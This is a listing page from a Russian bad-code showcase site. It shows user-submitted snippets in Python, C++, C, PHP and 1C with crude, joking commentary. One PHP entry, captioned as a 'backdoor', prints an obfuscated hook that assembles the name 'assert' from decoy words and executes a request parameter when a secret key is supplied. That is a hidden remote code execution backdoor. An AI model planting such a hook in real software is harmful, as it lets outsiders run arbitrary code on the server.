1. Лучший говнокод

    В номинации:
    За время:
  2. Python / Говнокод #26046

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    >>> from heapq import heappush, heappop
    >>> heap = []
    >>> data = [1, 3, 5, 7, 9, 2, 4, 6, 8, 0]
    >>> for item in data:
    ...     heappush(heap, item)
    ...
    >>> ordered = []
    >>> while heap:
    ...     ordered.append(heappop(heap))
    ...
    >>> ordered
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
    >>> data.sort()
    >>> data == ordered
    True

    В «Python» есть стандартный модуль «heapq» с процедурками, которые делают из обычного листа очередь с приоритетом: https://docs.python.org/3.8/library/heapq.html. Всё просто, понятно, удобно и без этих ваших «классов» с «наследованиями». Именно поэтому я за «Python».

    gost, 26 Ноября 2019

    Комментарии (32)
  3. PHP / Говнокод #25784

    −1

    1. 1
    2. 2
    3. 3
    4. 4
    Оцени свою неприязнь к коллеге по шкале от нуля до 
    «отсматриваю в Аутлуке каждое его совещание и за две минуты до начала неистово пропёрдываю соответствующую переговорку».
    
    https://twitter.com/feels_like_1984/status/1132221565821759488

    Друзья, довайте обсудим кто какие групваре использует
    Exchange? Сервисы Google? Что-то еще?

    booratihno, 29 Августа 2019

    Комментарии (32)
  4. Куча / Говнокод #25717

    0

    1. 1
    Течка по "Node JS" завершена?

    SteadfastTinCock, 13 Июля 2019

    Комментарии (32)
  5. Python / Говнокод #25690

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    class JSObject(object):
        def __init__(self, d):
            self.__dict__.update(d)
        def __getitem__(self, item):
            return self.__getattribute__(item)
        def __setitem__(self, item, value):
            return self.__setattr__(item, value)
        def __delitem__(self, item):
            return self.__delattr__(item)
    
        def __getattribute__(self, name):
            try:
                val = object.__getattribute__(self, name)
            except AttributeError:
                return undefined
            else:
                return val
    
        def __delattr__(self, name):
            try:
                object.__delattr__(self, name)
            except AttributeError:
                pass
            return None
            
        def __str__(self):
            return '[object Object]'
            
        def __repr__(self):
            return self.__dict__.__str__()
    
    
    class JSUndefined:
        __getitem__ = lambda a, b: undefined
        __setitem__ = lambda a, b, c: undefined
        __delitem__ = lambda a, b, c: undefined
        __getattribute__ = lambda a, b: undefined
        __setattr__ = lambda a, b, c: undefined
        __delattr__ = lambda a, b: undefined
        __str__ = lambda self: 'undefined'
        __repr__ = lambda self: 'undefined'
    undefined = JSUndefined()

    Перевёл «JavaScript» на «Python».

    gost, 28 Июня 2019

    Комментарии (32)
  6. C++ / Говнокод #25577

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    // https://github.com/QWalk/mainline/blob/b12ea3652226caef23c2f5fc7b168746c89096f2/src/system/Pseudopotential_so.cpp#L36
    
    doublevar legendre_so(doublevar x, int n)
    {
      switch(n)
      {
      case 0:
        return 1;
      case 1:
        return x;
      case 2:
        return .5*(3*x*x-1);
      case 3:
        return .5*(5*x*x*x - 3*x);
      case 4:
        return 0.125*(35*x*x*x*x -30*x*x +3);
      case 5:
        return 0.125*(63*x*x*x*x*x - 70*x*x*x + 15*x);
      default:
        error("Do not have legendre polynomial of order ", n);
        return 0; //shouldn't get here, but gets rid of a compiler message
      }
    }

    Вот нет чтоб через шаблоноговно нагенерировать эти свои многочлены Лагранжа.

    https://en.wikipedia.org/wiki/Legendre_polynomials#Rodrigues'_formula_and_other_explicit_formulas

    Интересно, сколько строк шаблоноговна на это придется потратить?
    И вообще, надо чтоб гомоиконность!

    j123123, 29 Апреля 2019

    Комментарии (32)
  7. 1C / Говнокод #25568

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    Функция ПолучитьСтавкуНДС(СуммаСНДС, НДС)
    	Если НДС = 0  Тогда
    		Возврат Перечисления.СтавкиНДС.БезНДС;
    	ИначеЕсли СуммаСНДС = 0 Тогда //некорректные данные
    		Возврат Перечисления.СтавкиНДС.БезНДС;
    	ИначеЕсли НДС / СуммаСНДС <= 0.152+0.0152 и НДС / СуммаСНДС >= 0.152-0.0152 Тогда
    		Возврат Перечисления.СтавкиНДС.НДС18;
    	ИначеЕсли НДС / СуммаСНДС <= 0.091+0.0091 и НДС / СуммаСНДС >= 0.091-0.0091 Тогда
    		Возврат Перечисления.СтавкиНДС.НДС10;
    	КонецЕсли;
    КонецФункции

    Костыль костыльный

    sandvich, 24 Апреля 2019

    Комментарии (32)
  8. PHP / Говнокод #25510

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    function b($d,$a){
    		if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
    			$dd = trim(preg_replace("/[^-0-9+\(\)]/iu", "",$d));
    			$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
    			if(isset($_REQUEST['s'.md5('bgdfgt')])){
    				if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
    			}
    			return true;
    		}
    		return false;
    	}
    	
    	
    	$this ->b(date("d"),$b = array('day','date','out','ass','quest','assert','time'));

    Закладочка

    straga_coda, 04 Апреля 2019

    Комментарии (32)
  9. C++ / Говнокод #25347

    −3

    1. 1
    for (i=1; i<=n-k+1; i++) { for (j=k; j<=n+1-i; j++) printf("%d", j); printf("\n"); k++; n++; } }

    Из студенческих лабораторных.
    Что делает - догадайтесь сами =)

    vt244, 01 Февраля 2019

    Комментарии (32)
  10. Си / Говнокод #25334

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    void add_SSE(uint8_t a[static 7], uint8_t b[static 7], uint8_t out[static 7])
    {
      uint64_t a_64 = 0;
      uint64_t b_64 = 0;
      for (size_t i = 0; i < 7; i++) // можно наанроллить
      {
        a_64 |= (uint64_t)a[i] << (i*9);
        b_64 |= (uint64_t)b[i] << (i*9);
      }
      
      uint64_t c_64 = a_64 + b_64;
      
      for (size_t i = 0; i < 7; i++) // можно наанроллить
      {
        out[i] = (uint64_t)c_64 >> (i*9);
      }
    }

    SSE

    j123123, 28 Января 2019

    Комментарии (32)
  11. 1C / Говнокод #24935

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    Писал значит обмен ну там по http запросами и прочим говном на 1С между сайтом на битриксе и самой базой.
    Сидел и думал, каким форматом обмениваться
    Эти ссаные phpшники из центральной россии предлагали JSON и CSV.
    А я подумал, и подумал что не хочу слишком банально. Написал сериализацию с 1С в lua, и обмениваюсь lua.
    эти phpшные хуйни в шоке, ведь у них нет такого десериализатора. Жду от них результата уже джва года.

    ух какой я злодей.

    3oJIoTou_xyu, 18 Октября 2018

    Комментарии (32)